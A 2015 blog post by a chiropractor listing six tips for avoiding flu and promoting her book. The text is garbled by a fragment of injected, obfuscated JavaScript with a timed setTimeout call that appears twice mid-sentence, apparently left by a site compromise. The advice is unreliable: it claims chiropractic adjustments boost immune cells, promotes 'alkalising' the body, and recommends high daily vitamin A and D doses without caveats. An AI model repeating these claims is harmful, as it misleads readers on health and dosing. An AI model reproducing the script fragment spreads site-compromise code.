Flu-Proof Your Body

Posted On : December 02, 2015

Are you concerned about everyone around you being sick?

Well don’t be. You have more control over the colds you get than you have been taught. Flu, viruses, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bacteria can only take over your body if your immune system is overworked or run down.

When someone around you is coughing or sneezing, don't panic. Go into action. Work on building your immune system stronger so that your body can fight what ever it comes in contact with.

What are my top immune system tips?

1. Get adjusted- NO joke, this is the most powerful step you can take to power up your immune system. If you have my new book, The Reset Factor, in chapter 7 I give several studies that have proven the powerful increase in the immune system after an adjustment. Bottom line is research is showing us that white blood cells, interleukin-2 cells (fight cancer), CD-4 cells (fight bacteria) all increase immediately following a a chiropractic adjustment.

2. Don't Drink Orange Juice- What??? Haven't we been taught to drink orange juice for the vitamin C? The part of the Linus Pauling research that most people haven't heard is that vitamin C's effects on the immune system is less effective if you eat a high sugar diet. This even applies to natural sugars. Hydrate your body like crazy with water. Your immune system will love it!

3. Eat More Greens-Fresh greens like parsley, chard, cucumber, lettuce put your body on the alkaline side. The more alkaline you body is the stronger your immune system will be. Go get a green juice at Whole Foods. Have more salads. Eat some celery with raw nut butter. All will help your immune system function better.

4. Increase your probiotics-If 80% of your immune system is in your gut, then feed your gut more good bacteria. When I feel run down or like a cold is coming on, I increase my probiotic levels to 100 billion CFU's. Contact me if you need more info on that.

5. Take Vit D & Vit A- Everyone thinks of Vit C when they have a cold, but research has proven that Vit D & A have a more powerful effect than any other on the immune system. The trick is you need to take them in high doses. I recommed 5,000 IU's of Vit D andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 20,000 IU's of Vit A.

6. Sleep- One of the best ways to not get the flu is to get a good nights sleep. Our bodies need 7-9 hours of sleep to be able to repair effectively. If you are getting 5 to 6 hours, you are setting yourself up to catch a cold. One trick I do when people are sneezing around me, is get in bed earlier that night. It's much easier to discipline myself to sleep more when I think I have been exposed to the flu, than have my life shut down for days because the flu has taken over my body.

Over the years, one thing I have noticed with patients is that we are not taught how our immune system works. This is why I put a whole chapter on the immune system in The Reset Factor. Check it out, it's chapter 6- Reclaim Your Birthright- Power up Your Own Natural Immuity.

Hope that helps! Reach out if you need anything. My goal for all my community is a FLU FREE HOLIDAY SEASON.

-Dr. Mindy